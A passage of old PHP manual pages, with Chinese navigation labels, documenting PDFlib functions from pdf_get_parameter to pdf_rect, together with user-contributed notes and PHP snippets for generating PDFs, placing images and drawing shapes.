pdf_get_parameter

(PHP 4 >= 4.0.1, PECL)

pdf_get_parameter -- Gets certain parameters

Description

string pdf_get_parameter ( resource pdfdoc, string key, float modifier )

Get the contents of some PDFlib parameter with string type. Parameter modifier is optional before PHP 4.3.5 or with PDFlib less than 5.

add a note add a note User Contributed Notes
Christopher Jastram cej102937
12-Dec-2005 04:46
The proper keys for pdf_get_parameter and pdf_get_value are under "Parameters and Values" under "A PDFlib Quick Reference" in the PDFlib reference manual (google is your friend).

To get the font name:

$fontname = pdf_get_parameter($pdf, "fontname", 0);

To get the font size:

$size = pdf_get_value($pdf, "fontsize", 0);
add a note add a note

后退 | 起点 | 前进
pdf_get_minorversion | 上一级 | pdf_get_pdi_parameter


pdf_get_pdi_parameter

(PHP 4 >= 4.0.5, PECL)

pdf_get_pdi_parameter -- Get some PDI string parameters

Description

string pdf_get_pdi_parameter ( resource pdfdoc, string key, int document, int page, int index )

Get the contents of some PDI document parameter with string type.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_get_parameter | 上一级 | pdf_get_pdi_value


pdf_get_pdi_value

(PHP 4 >= 4.0.5, PECL)

pdf_get_pdi_value -- Gets some PDI numerical parameters

Description

float pdf_get_pdi_value ( resource pdfdoc, string key, int doc, int page, int index )

Get the contents of some PDI document parameter with numerical type.

add a note add a note User Contributed Notes
gregors at rose-hulman dot edu
14-Jun-2003 05:11
If you are having troubles getting the page count make sure you have Root caplitalized correctly.

$numPages=pdf_get_pdi_value($p,"/Root/Pages/Count",$input,0,0);
10-May-2003 05:16
For keys which are not page-related page must be -1 (in PHP: 0).
ian dot kinnear at optus-ebiz dot com
14-Jul-2001 03:56
From the pdflib manual...

key: Specifies the name of the parameter
doc: a valid PDF document handle retrieved with PDF_open_pdi()
page: A valid PDF page handle (not page number!). For keys which are not page-related page must be -1

Example:

$numPages=pdf_get_pdi_value($p,"/root/Pages/Count",$input,0,0);
add a note add a note

后退 | 起点 | 前进
pdf_get_pdi_parameter | 上一级 | pdf_get_value


pdf_get_value

(PHP 4 >= 4.0.1, PECL)

pdf_get_value -- Gets certain numerical value

Description

float pdf_get_value ( resource pdfdoc, string key, float modifier )

Get the contents of some PDFlib parameter with float type. Parameter modifier is optional before PHP 4.3.5 or with PDFlib less than 5.

add a note add a note User Contributed Notes
02-Feb-2006 11:29
Note:

imagewidth and imageheigh do not return the actual width and height.  Instead they are 2 times the actual width and height.  I don't understand why, but this seems to be the case with multi page tiffs (and maybe other images).  In order to insert a multi page tiff into a PDF without out of control extra space do the following:

<?php
$pdf = pdf_new();
pdf_set_parameter($pdf, "licensefile", "/etc/pdflib/licensekeys.txt");
pdf_open_file($pdf, "/tmp/tifftest.pdf");

for ($i=1; $i<=4; $i++) {

$image = pdf_open_image_file($pdf, "tiff", "/tmp/test.tif", "page", $i);

$w = pdf_get_value($pdf, "imagewidth", $image);
$h = pdf_get_value($pdf, "imageheight", $image);

// $w and $h are at this point 2*width and 2*height!!

// To place the image without having lots of extra space:

pdf_begin_page($pdf, $w/2, $h/2);
pdf_place_image($pdf, $image, 0, 0, 0.5);
pdf_close_image($pdf, $image);
pdf_end_page($pdf);

}

pdf_close($pdf);

?>
25-Jul-2005 05:10
$width = PDF_get_value($p, "imagewidth", $image);
_meto ALT+q web.de
20-Jun-2004 12:58
There should be many more. For example I found this in the manual, wich was very helpfull for me:

$textx = pdf_get_value($p, "textx", 0);
$texty = pdf_get_value($p, "texty", 0);

These will extract the current textposition in the document.
robert.chambersATroche.com
27-Nov-2003 12:41
The Magic keywords are:

  IMAGEWIDTH,  IMAGEHEIGHT,  RESX,  RESY,
  CAPHEIGHT,  ASCENDER,  DESCENDER,  FONT

I looked in the sourcecode ...
ceo at l-i-e dot com
24-Feb-2002 02:13
See the main PDF manual page (the "PDF" link to the left) for the magic words that this function accepts.
reneATcola.cc
02-Mar-2001 12:32
To get the current font size, use something like this:<br>
$fontheight = PDF_get_value($pdf, "fontsize");
add a note add a note

后退 | 起点 | 前进
pdf_get_pdi_value | 上一级 | pdf_initgraphics


pdf_initgraphics

(PHP 4 >= 4.0.5, PECL)

pdf_initgraphics -- Resets graphic state

Description

bool pdf_initgraphics ( resource pdfdoc )

Reset all implicit color and graphics state parameters to their defaults. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_get_value | 上一级 | pdf_lineto


pdf_lineto

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_lineto -- Draws a line

Description

bool pdf_lineto ( resource pdfdoc, float x, float y )

Draw a line from the current point to (x, y). 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
rod-php at thecomplex dot com
02-Oct-2002 01:32
function pdf_arrow ($pdfobj, $x1, $y1, $x2, $y2, $dashed) {
// This function will draw, stroke, and fill a line
// from (x1,y1) to (x2,y2) with an arrowhead defined
// by $headangle (in degrees) and $arrowlength.
// If $dashed is nonzero, a dashed line is drawn.
// REQUIRES: find_angle
       $headangle = 20;
       $arrowlength = 20;

       list ($angle, $slope) = find_angle($x1, $y1, $x2, $y2);

       pdf_moveto($pdfobj, $x2, $y2);

       // Find the two other points of the arrowhead
       // using $headangle and $arrowlength.
       $xarrow1 = $x2+cos(deg2rad(180+$angle+$headangle/2))*$arrowlength;
       $yarrow1 = $y2+sin(deg2rad(180+$angle+$headangle/2))*$arrowlength;
       $xarrow2 = $x2+cos(deg2rad(180+$angle-$headangle/2))*$arrowlength;
       $yarrow2 = $y2+sin(deg2rad(180+$angle-$headangle/2))*$arrowlength;
       // Draw two legs of the arrowhead, close and fill
       pdf_lineto($pdfobj, $xarrow1, $yarrow1);
       pdf_lineto($pdfobj, $xarrow2, $yarrow2);
       pdf_closepath($pdfobj);
       pdf_fill($pdfobj);

       // Find the point bisecting the short side
       // of the arrowhead. This is necessary so
       // the end of the line doesn't poke out the
       // beyond the arrow point.
       $x2line = ($xarrow1+$xarrow2)/2;
       $y2line = ($yarrow1+$yarrow2)/2;

       // Now draw the "body" line of the arrow
       if ($dashed != 0) {
               pdf_setdash($pdfobj,5,5);
       }
       pdf_moveto($pdfobj, $x1, $y1);
       pdf_lineto($pdfobj, $x2line, $y2line);
       pdf_stroke($pdfobj);
}
rod-php at thecomplex dot com
02-Oct-2002 01:20
function find_angle ($x1, $y1, $x2, $y2) {
// This function takes two points (x1,y1) and (x2,y2)
// as inputs and finds the slope and angle of a line
// between those two points.  It returns the angle
// and slope in an array. I can't figure out how to
// return a NULL value, so if the two input points
// are in a vertical line, the function returns
// $angle = 90 and $slope = 0. I know this is wrong.
       if (($x2-$x1) != 0) {
               $slope = ($y2-$y1)/($x2-$x1);
               // Get rotation angle by finding the arctangent of the slope
               $angle = rad2deg(atan($slope));
               if ($x1 > $x2) {
                       $angle = 180+$angle;
               } elseif ($y1 > $y2) {
                       $angle = 360+$angle;
               }
       } else {
               // Vertical line has no slope, 90deg angle
               $angle = 90;
#              unset ($slope);
               $slope = 0;
       }
       return array ($angle, $slope);
}
rod-php at thecomplex dot com
02-Oct-2002 01:18
function find_length ($x1, $y1, $x2, $y2) {
// Find distance between two points (x1,y1) and (x2,y2)
// Also useful to find length of a line.
       return sqrt( pow($x2-$x1,2) + pow($y2-$y1,2) );
}
add a note add a note

后退 | 起点 | 前进
pdf_initgraphics | 上一级 | pdf_makespotcolor


pdf_makespotcolor

(PHP 4 >= 4.0.5, PECL)

pdf_makespotcolor -- Makes a spotcolor

Description

int pdf_makespotcolor ( resource pdfdoc, string spotname )

Make a named spot color from the current color. 如果成功则返回 TRUE，失败则返回 FALSE。

See also pdf_setcolor().

add a note add a note User Contributed Notes
karaya at karaya dot cz
07-Apr-2004 06:40
Pantone and HKS spot colors - its not supported in free version PDFLib Lite
add a note add a note

后退 | 起点 | 前进
pdf_lineto | 上一级 | pdf_moveto


pdf_moveto

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_moveto -- Sets current point

Description

bool pdf_moveto ( resource pdfdoc, float x, float y )

Set the current point to (x, y. 如果成功则返回 TRUE，失败则返回 FALSE。

注: The current point for graphics and the current text output position are maintained separately. See pdf_set_text_pos() to set the text output position.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_makespotcolor | 上一级 | pdf_new


pdf_new

(PHP 4 >= 4.0.5, PECL)

pdf_new -- Creates a new pdf resource

Description

resource pdf_new ( )

Create a new PDF resource, using default error handling and memory management.

See also pdf_close().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_moveto | 上一级 | pdf_open_ccitt


pdf_open_ccitt

(PHP 4 >= 4.0.5, PECL)

pdf_open_ccitt -- Opens a new image file with raw CCITT data

Description

int pdf_open_ccitt ( resource pdfdoc, string filename, int width, int height, int BitReverse, int k, int Blackls1 )

Open a raw CCITT image.

add a note add a note User Contributed Notes
bmironov at jonview dot com
25-Jun-2003 06:57
This function deprecated since PDFlib v5.0
add a note add a note

后退 | 起点 | 前进
pdf_new | 上一级 | pdf_open_file


pdf_open_file

(PHP 4 >= 4.0.5, PECL)

pdf_open_file -- Opens a new pdf object

Description

bool pdf_open_file ( resource pdfdoc, string filename )

Create a new PDF file using the supplied file name. If filename is empty the PDF document will be generated in memory instead of on file. The result must be fetched by the client with the pdf_get_buffer() function. Parameter filename is optional before PHP 4.3.5 or with PDFlib less than 5. 如果成功则返回 TRUE，失败则返回 FALSE。

The following example shows how to create a pdf document in memory and how to output it correctly.

例子 1. Creating a PDF document in memory

<?php

$pdf = pdf_new();

pdf_open_file($pdf);
pdf_begin_page($pdf, 595, 842);
pdf_set_font($pdf, "Times-Roman", 30, "host");
pdf_set_value($pdf, "textrendering", 1);
pdf_show_xy($pdf, "A PDF document created in memory!", 50, 750);
pdf_end_page($pdf);
pdf_close($pdf);

$data = pdf_get_buffer($pdf);

header("Content-type: application/pdf");
header("Content-disposition: inline; filename=test.pdf");
header("Content-length: " . strlen($data));

echo $data;

?>

add a note add a note User Contributed Notes
Button dot Man at gmail dot com
11-Aug-2005 12:39
"Fatal error: PDFlib error: [2100] PDF_begin_page: Function must not be called in 'object' scope"

I found a solution for this fault:
when i got the fault, this was the script ->

<?php

$pdf = pdf_new();

pdf_open_file($pdf, "C:\web\pdf\test45.pdf");
pdf_begin_page($pdf, 595, 842);
pdf_set_font($pdf, "Times-Roman", 30, "host");
pdf_set_value($pdf, "textrendering", 1);
pdf_show_xy($pdf, "A PDF document is created!", 50, 750);
pdf_end_page($pdf);
pdf_close($pdf);

?>

but when i added some slashes to the path:

<?php

$pdf = pdf_new();

pdf_open_file($pdf, "C:\\web\\pdf\\test45.pdf");
pdf_begin_page($pdf, 595, 842);
pdf_set_font($pdf, "Times-Roman", 30, "host");
pdf_set_value($pdf, "textrendering", 1);
pdf_show_xy($pdf, "A PDF document is created!", 50, 750);
pdf_end_page($pdf);
pdf_close($pdf);

?>

there wasn't no fault anymore and the pdf-file was succesfully created

I think you guys get the point ( add 2 slashes )

Glenn
22-Jun-2005 12:13
"Fatal error: PDFlib error: [2100] PDF_begin_page: Function must not be called in 'object' scope.."

If you get this error then you probably forgot to call pdf_open_file() or pdf_open_file() failed.
php at mijav dot dk
11-Apr-2005 08:35
The example uses pdf_set_font, but that function is deprecated. Instead use pdf_setfont (without the underscore).
alfred dot zingg at freesurf dot ch at example dot com
16-Dec-2004 11:33
...
$fd = fopen("download/liste.pdf", "w");
$pdfdoc = pdf_open($fd);
pdf_begin_page($pdfdoc, 595, 842);
pdf_set_font($pdfdoc, "Helvetica", 20, "host", 1);
pdf_set_text_pos($pdfdoc, 50, 795);
pdf_show($pdfdoc, "Liste");
...
does not work under PHP5, use
...
$fd = fopen("download/liste.pdf", "w");
$pdfdoc = pdf_new();
pdf_open_file($pdfdoc, "download/liste.pdf");
pdf_begin_page($pdfdoc, 595.3, 841.8);
$font = pdf_findfont($pdfdoc, "Helvetica", "winansi", 0);
pdf_set_font($pdfdoc, $font, 20);
pdf_set_text_pos($pdfdoc, 50, 795);
pdf_show($pdfdoc, "Liste");
...
18-Oct-2004 08:55
After some troubles I found filename must be absolute path  here in windows; relative path doesn't work in my box.
php 4.3.5-dev
RandyAtHorktDotCom
29-Oct-2002 08:19
It is possible to append pdfs to each other, however it requires the commercial version of PDFlib with PDI support (http://www.pdflib.com)

I've used it quite a bit and is well worth the price they are asking for.
jon at logicworks dot cc
25-Oct-2002 02:48
When creating a pdf in memory, it appears that the code is executed twice. This does not seem to happen when creating a pdf as file. Not a problem when outputing a pdf, but does cause a problem if doing other writes in the same code:

// the write to the file is executed twice
$fp = fopen("testfile.htm", "a");
fwrite($fp, "testline/") ;
fclose($fp);
//--------------

$pdf = pdf_new();

if (!pdf_open_file($pdf, "")) {
   print error;
   exit;
};

pdf_begin_page($pdf, 8.5*72, 11*72);
pdf_set_font($pdf, "Helvetica-Bold", 24, "host");
pdf_set_text_pos($pdf, 50, 700);
pdf_show($pdf,"Hello,world!");
pdf_end_page($pdf);
pdf_close($pdf);

$buf = pdf_get_buffer($pdf);
$len = strlen($buf);

header("Content-type: application/pdf");
header("Content-Length: $len");
header("Content-Disposition: inline; filename=foo.pdf");
print $buf;
gbl at bso2001 dot com
20-Feb-2002 03:30
Appending to PDF files: plainly, you can't. PDF files have an internal structure that would get corrupted by just appending to the file. You'd need to parse the PDF, create a new PDF and mix your additions with the old PDF. Just creating a new one should be *much* easier.

Reading back the results: do a fopen() on the temporary file and use fgets() to read it. In your example where you just want to output the file, passthru should do the trick.
nils at deviant dot no
16-Jan-2002 08:47
If you get "Fatal error: PDFlib error: function 'PDF_set_info' must not be called in 'object' scope in script.php on line xxx" when using pdf_open_file with a filename, make sure your webserver has write permissions to the directory your are trying to save your PDF file to.
add a note add a note

后退 | 起点 | 前进
pdf_open_ccitt | 上一级 | pdf_open_gif


pdf_open_gif

(PHP 3 >= 3.0.7, PHP 4, PECL)

pdf_open_gif -- Deprecated: Opens a GIF image

Description

This function is deprecated, use pdf_open_image() instead.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_open_file | 上一级 | pdf_open_image_file


pdf_open_image_file

(PHP 3 CVS only, PHP 4, PECL)

pdf_open_image_file -- Reads an image from a file

Description

int pdf_open_image_file ( resource pdfdoc, string imagetype, string filename, string stringparam, int intparam )

Open an image file. Supported types are jpeg, tiff, gif, and png. stringparam is either empty, mask, masked, or page. intparam is either 0, the image id of the applied mask, or the page. Parameters stringparam and intparam are optional before PHP 4.3.5 or with PDFlib less than 5.

add a note add a note User Contributed Notes
Max / Poland
01-Oct-2005 06:58
another example : PHP 5 & PDFLIB 6.0.2
<?
$pdf = pdf_new();

 if (pdf_begin_document($pdf,"", "") == 0)
   {die("Error: " . pdf_get_errmsg());}

   pdf_set_parameter($pdf, "SearchPath", "./");
   pdf_set_parameter($pdf, "hypertextencoding", "winansi");
   pdf_set_parameter($pdf, "imagewarning", "false");
   pdf_set_info($pdf, "Creator", "some INformations");
   pdf_set_info($pdf, "Author", "author");
   pdf_set_info($pdf, "Title", "Raport");

$logo = pdf_open_image_file($pdf, "jpeg", "foto.jpg", "", 0);

pdf_begin_page($pdf, 595, 842);
pdf_place_image($pdf, $logo, 28, 324, 0.125);
pdf_close_image($pdf, $logo);
pdf_end_page($pdf);
pdf_close($pdf);

  $buf = pdf_get_buffer($pdf);
  $len = strlen($buf);
  header("Content-type: application/pdf");
  header("Content-Length: $len");
  header("Content-Disposition: attachment; filename=raport.pdf");
  echo $buf;

?>
ws at esc-ag dot de
07-Apr-2005 06:25
when using pdf_open_image_file() with multipage tiffs in php 5.x.x I had to use the following

$pdf = pdf_new();
pdf_open_file($pdf, "test.pdf");
$file = "mutlipg.tif";

// Important to switch off the exceptions
pdf_set_parameter($pdf, "imagewarning", "false");

for($i=1; ; $i++)
{
   $image=@pdf_open_image_file($pdf, "tiff", $file, "page", $i);
   if($image != 0)
   {
       $w = pdf_get_value($pdf, "imagewidth", $image);
       $h = pdf_get_value($pdf, "imageheight", $image);

   // use only half of the size
       pdf_begin_page($pdf, $w/2, $h/2);
       pdf_place_image($pdf, $image, 0, 0, 0.5);
       pdf_close_image($pdf, $image);
       pdf_end_page($pdf);
   }
   else
       break;
}
// Send the pdf to the Browser
pdf_close($pdf);
$fp = fopen("test.pdf", "r");
header("Content-type: application/pdf");
fpassthru($fp);
fclose($fp);
alfred dot zingg at freesurf dot ch
16-Dec-2004 11:27
...
$logo = pdf_open_image_file($pdf, "jpeg", "logo.jpg");
pdf_place_image($pdf, $logo, 28, 324, 0.125);
pdf_close_im($pdf, $logo);
...
does not work under PHP5, use
...
$logo = pdf_open_image_file($pdf, "jpeg", "logo.jpg", "", 0);
pdf_place_image($pdf, $logo, 28, 324, 0.125);
pdf_close_im($pdf, $logo);
...
bmironov at jonview dot com
25-Jun-2003 06:54
This function deprecated since PDFlib v5.0

Use something like:
$image = @PDF_load_image ($pdf, "tiff", $filename, "")

Best regards,
Boris
j tse
06-Jun-2003 09:22
If the image file is sitting at somewhere (outside the subdirectory), an absolute path must be given instead.
darren at zoe dot co dot nz dot deleteme
17-Dec-2001 01:51
when using pdf_open_image_file() with multipage tiffs, the example in the manual won't work (i don't think the function returns -1 like it says)
you can use this instead;

   for ($page=1; ; $page++)
   {
     // our image
$image=pdf_open_image_file($pdf,"tiff",$file,"page",$page);
     // a bad image - page cannot be 0
$bad=pdf_open_image_file($pdf,"tiff",$file,"page",0);<br>
     if ($image == $bad)
   {
     // done adding pages
     break;
   }
     pdf_begin_page($pdf,$width,$height);
     pdf_place_image($pdf,$image,0,0,1);
     pdf_close_image($pdf,$image);
     pdf_end_page($pdf);
   }
bob at nijman dot de
02-Aug-2001 08:44
Try this.
(don't forget to put a "test.jpg" in the same dir)

<?php

//Create & Open PDF-Object
$pdf = pdf_new();
pdf_open_file($pdf);
pdf_set_info($pdf, "Author","Bob Nijman");
pdf_set_info($pdf, "Title","www.nijman.de");
pdf_set_info($pdf, "Creator", "bob@nijman.de");
pdf_set_info($pdf, "Subject", "pdf_open_image_file");
pdf_begin_page($pdf, 200, 200);

$pdfimage = pdf_open_image_file($pdf, "jpeg", "test.jpg");
pdf_place_image($pdf, $pdfimage, 10, 10, 0.6);

//close it up
pdf_end_page($pdf);
pdf_close($pdf);
$data = pdf_get_buffer($pdf);
header('Content-type: application/pdf');
header('Content-disposition: inline; filename=image.pdf');
header('Content-length: ' . strlen($data));
echo $data;

?>
add a note add a note

后退 | 起点 | 前进
pdf_open_gif | 上一级 | pdf_open_image


pdf_open_image

(PHP 4 >= 4.0.5, PECL)

pdf_open_image -- Versatile function for images

Description

int pdf_open_image ( resource pdfdoc, string imagetype, string source, string data, int length, int width, int height, int components, int bpc, string params )

Use image data from a variety of data sources. Supported types are jpeg, ccitt, raw. Supported sources are memory, fileref, url. len is only used when type is raw, params is only used when type is ccitt.

add a note add a note User Contributed Notes
K
24-Apr-2003 08:36
Ok, according to the PDFlib docs,

bpc - only for imagetype raw (required in this case).  The number of bits per component.  Must be 1,2,4 or 8

components - only for imagetype raw (required in this case). The number of image components.  Must be 1, 3 or 4.

Read the docs (page 171) for a full list of params I assume are used for the last argument.
tfraser at jeffsys dot net
06-Mar-2003 05:41
If you want to open a TIFF image, you have to use pdf_open_image_file().  If you want to open a TIFF image from memory, you'll have to wait until version 5.  I gleaned this from the PDFlib folks themselves:

> from rp@pdflib.com
The only way to open TIFF with PDFlib 4 is to open it from
file. But in PDFlib 5 (http://www.pdflib.com/beta/) we add
a virtual file system, so you can easy open a file from
memory.
lindsayNOSPAM at NOSPAMdingos dot net
20-Dec-2002 10:42
if you ahve pdflib v4 or higher, you may also use TIFF images, by specifying 'tiff'  in the image type.

checked the pdflib documentation, tried it out, it works.
nils at deviant dot no
16-Jan-2002 09:00
a quick example:

$pdfimage = pdf_open_image_file($pdf, "jpeg", "test.jpg");
pdf_place_image($pdf, $pdfimage, 10, 10, 0.6);

...
pdf_close etc..
bob at nijman dot de
02-Aug-2001 11:05
mark troyan wrote:

> Can you use the PDF_open_image to handle gif's? How?

and Thomas Merz answered:

Nope. Unfortunately PDF supports _nearly_ everything needed
to decode GIFs internally (as with JPEG), but some minor
feature is missing. It seems Adobe also realized this --
they added the missing link in PostScript 3, so chances are
it will appear in PDF 1.4 or something...

Since the PDF_open_image() interface is meant for dumping
the image data to the PDF without any further interpretation,
it can't support GIF.

Found at:
http://groups.yahoo.com/group/pdflib/message/301
bob at nijman dot de
02-Aug-2001 08:54
For good and easy to understand examples on images in PDFs go to

http://www.dynamicwebpages.de/50.tutorials.php?dwp_tutorialID=13

(It's in german, but the sources alone will be a great help and inspiration :-))
add a note add a note

后退 | 起点 | 前进
pdf_open_image_file | 上一级 | pdf_open_jpeg


pdf_open_jpeg

(PHP 3 >= 3.0.7, PHP 4, PECL)

pdf_open_jpeg -- Deprecated: Opens a JPEG image

Description

This function is deprecated, use pdf_open_image() instead.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_open_image | 上一级 | pdf_open_memory_image


pdf_open_memory_image

(PHP 3 >= 3.0.10, PHP 4, PECL)

pdf_open_memory_image -- Opens an image created with PHP's image functions

Description

int pdf_open_memory_image ( resource pdfdoc, resource image )

The pdf_open_memory_image() function takes an image created with the PHP's image functions and makes it available for the pdf resource. The function returns a pdf image identifier.

例子 1. Including a memory image

<?php
$im = imagecreate(100, 100);
$col = imagecolorallocate($im, 80, 45, 190);
imagefill($im, 10, 10, $col);
$pim = pdf_open_memory_image($pdf, $im);
imagedestroy($im);
pdf_place_image($pdf, $pim, 100, 100, 1);
pdf_close_image($pdf, $pim);
?>

See also pdf_close_image() and pdf_place_image().

add a note add a note User Contributed Notes
leela at leela dot ws
20-Nov-2002 02:36
note that in PHP 4.2.2 and PDF_lib 4.0.1 this function does not support more than 256 colors (only GD 1.x it seems).

WORKS:
$im = ImageCreate(100, 100);
$pim = pdf_open_memory_image($pdf, $im);

DOES NOT WORK:
$im = ImageCreateTrueColor(100, 100);
$pim = pdf_open_memory_image($pdf, $im);

DOES NOT WORK:
$im = ImageCreateFromJPEG("file.jpg");
$pim = pdf_open_memory_image($pdf, $im);
bob at nijman dot de
02-Aug-2001 09:13
I'm running PHP Version 4.0.6 on Win2000 and I also get a:

Warning: pdf_open_memory_image() is not supported in this PHP build
christian at wenz dot org
03-May-2001 06:10
not implemented in 4.0.5-Win32 yet, too - although Rasmus himself promised so in the Win32 mailing list ;-) scnr
so maybe in 4.0.6 ...
christian at wenz dot org
19-Apr-2001 05:05
under the Win32 platform, the function is _not_ implemented on PHP < 4.0.5 !
add a note add a note

后退 | 起点 | 前进
pdf_open_jpeg | 上一级 | pdf_open_pdi_page


pdf_open_pdi_page

(PHP 4 >= 4.0.5, PECL)

pdf_open_pdi_page -- Prepare a page

Description

int pdf_open_pdi_page ( resource pdfdoc, int dochandle, int pagenumber, string pagelabel )

Prepare a page for later use with pdf_place_image()

add a note add a note User Contributed Notes
06-Feb-2003 11:22
http://fooassociates.com/phpfer/html/rn46re927.html
add a note add a note

后退 | 起点 | 前进
pdf_open_memory_image | 上一级 | pdf_open_pdi


pdf_open_pdi

(PHP 4 >= 4.0.5, PECL)

pdf_open_pdi -- Opens a PDF file

Description

int pdf_open_pdi ( resource pdfdoc, string filename, string stringparam, int intparam )

Opens an existing PDF document and prepares it for later use.

See also pdf_close_pdi().

add a note add a note User Contributed Notes
ytsedan
29-Mar-2006 04:33
From PDFLib's manual:

"When the optional PDI (PDF import) library is attached to PDFlib, pages from existing PDF documents can be imported. PDI contains a parser for the PDF file format, and prepares pages from existing PDF documents for easy use with PDFlib.

Conceptually, imported PDF pages are treated similarly to imported raster images such as TIFF or PNG: you open a PDF document, choose a page to import, and place it on an output page, applying any of PDFlibs transformation functions for translating, scaling, rotating, or skewing the imported page."

The manual can be downloaded along with PDFLib at http://www.pdflib.com/products/pdflib/download/index.html
m_schieferdecker at hotmail dot com
02-Mar-2004 01:48
The function returns the intval -1 on failure.
tylerrayner at netscape dot net
29-May-2002 12:45
The "stringparam" and "intparam" here are reserved for later use, and must be NULL and 0, respectively.
add a note add a note

后退 | 起点 | 前进
pdf_open_pdi_page | 上一级 | pdf_open_png


pdf_open_png

(PHP 4, PECL)

pdf_open_png -- Deprecated: Opens a PNG image

Description

This function is deprecated, use pdf_open_image() instead.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_open_pdi | 上一级 | pdf_open_tiff


pdf_open_tiff

(PHP 4, PECL)

pdf_open_tiff -- Deprecated: Opens a TIFF image

Description

This function is deprecated, use pdf_open_image() instead.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_open_png | 上一级 | pdf_open


pdf_open

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_open -- Deprecated: Open a new pdf object

Description

This function is deprecated, use pdf_new() plus pdf_open_file() instead.

add a note add a note User Contributed Notes
andre at tomdeedom dot com
03-Oct-2001 05:57
Wel pdf_open() could give a problem use pdf_new() and pdf_open_file() in combination with echo ""; do not forget to echo 'cause the pdf 'll stay empty in that case :)

axample:
<?php
$pdf = pdf_new();

pdf_open_file($pdf);
pdf_begin_page($pdf, 595, 842);
pdf_set_font($pdf, "Times-Roman", 30, "host");
pdf_set_value($pdf, "textrendering", 1);
pdf_show_xy($pdf, "A PDF document created in memory!", 50, 750);
pdf_end_page($pdf);
pdf_close($pdf);

$data = pdf_get_buffer($pdf);

header("Content-type: application/pdf");
header("Content-disposition: inline; filename=test.pdf");
header("Content-length: " . strlen($data));

echo $data;
?>
bob at nijman dot de
02-Aug-2001 07:20
Try these tutorials:
************************************
http://www.dynamicwebpages.de/50.tutorials.php?dwp_tutorialID=11
http://www.dynamicwebpages.de/50.tutorials.php?dwp_tutorialID=13
http://www.zend.com/zend/spotlight/creatingpdfmay1.php
http://www.phpbuilder.com/columns/perugini20001026.php3
************************************
add a note add a note

后退 | 起点 | 前进
pdf_open_tiff | 上一级 | pdf_place_image


pdf_place_image

(PHP 3 >= 3.0.7, PHP 4, PECL)

pdf_place_image -- Places an image on the page

Description

bool pdf_place_image ( resource pdfdoc, int image, float x, float y, float scale )

Place an image with the lower left corner at (x, y), and scale it. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
admin at internettech dot ca
07-Aug-2005 02:05
Contrary to the previous post, this function (pdf_place_image)  is deprecated.
Use pdf_fit_image() instead.  pdf_fit_image() takes the same parameters but read the PDFlib manual.

You should be using and reading the PDFlib manual along with the PHP manual to be current while writing your code.

To see all the internal functions available in the PDFlib try this:

$arr = get_defined_functions();
foreach(array_values($arr['internal']) as $arrVal){
   if(strtolower(substr($arrVal,0,3))== "pdf") print($arrVal."<br>");
}

Please do your homework before posting a note that contradicts someone elses note.
stry_cat at yahoo dot com
05-Aug-2005 09:36
bmironov at jonview dot com on 24-Jun-2003 03:58 said
> This function deprecated since PDFlib v5.0

I think you're confused.  The depreciated function was pdf_put_image not pdf_place_image.

If this is also depreciated then we don't have any functions to add images to a PDF.  Not a good thing.
bob at nijman dot de
02-Aug-2001 09:08
FYI:
There's a good reason for the fact that we need two functions

(pdf_open_image_file and pdf_place_image)

to insert an image.
This way we can use the same image more than once without having to store it in the PDF again.
add a note add a note

后退 | 起点 | 前进
pdf_open | 上一级 | pdf_place_pdi_page


pdf_place_pdi_page

(PHP 4 >= 4.0.6, PECL)

pdf_place_pdi_page -- Places an image on the page

Description

bool pdf_place_pdi_page ( resource pdfdoc, int page, float x, float y, float sx, float sy )

Place a PDI page with the lower left corner at (x, y), and scale it. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
bmironov at jonview dot com
25-Jun-2003 06:59
This function deprecated since PDFlib v5.0
add a note add a note

后退 | 起点 | 前进
pdf_place_image | 上一级 | pdf_rect


pdf_rect

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_rect -- Draws a rectangle

Description

bool pdf_rect ( resource pdfdoc, float x, float y, float width, float height )

Draw a (width * height) rectangle at lower left (x, y). 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
stuart at horuskol dot co dot uk
09-Jun-2006 05:14
This section of the manual is really sparse, and there don't seem to be any tutorials out there that go beyond adding a single line of text, so I found this piece of information out by trial and error.

The function only specifies that you want a rectangle at those co-ordinates, and must be followed by a stroke command:

  pdf_rect($pdf, 100, 100, 50, 50);
  pdf_stroke($pdf);

This completes the process of placing the rectangle on the page.
ragnar at deulos dot com
05-Oct-2005 02:09
Be sure of adding a pdf_stroke(resource_pdf) after the pdf_rect function or will take an error in the PDFlib.
tobias at midas dot se
16-May-2002 05:31
Round rectangles

My function to create rectangles width round corners:

<?php
function pdf_roundrect($pdfobj, $xpos, $ypos, $xsize, $ysize, $radius)
{
 $ypos = $ypos+$ysize;
 pdf_moveto($pdfobj, $xpos, $ypos-$radius);
 pdf_lineto($pdfobj, $xpos, $ypos-$ysize+$radius);
 pdf_arc($pdfobj, $xpos+$radius, $ypos-$ysize+$radius, $radius, 180, 270);
 pdf_lineto($pdfobj, $xpos+$xsize-$radius, $ypos-$ysize);
 pdf_arc($pdfobj, $xpos+$xsize-$radius, $ypos-$ysize+$radius, $radius, 270, 360);
 pdf_lineto($pdfobj, $xpos+$xsize, $ypos-$radius);
 pdf_arc($pdfobj, $xpos+$xsize-$radius, $ypos-$radius, $radius,0,90);
 pdf_lineto($pdfobj, $xpos+$radius, $ypos);
 pdf_arc($pdfobj, $xpos+$radius, $ypos-$radius, $radius,90,180);
}
?>
02-Aug-2001 08:26
This will draw a simple rectangle...
...with a few extras.

<?php

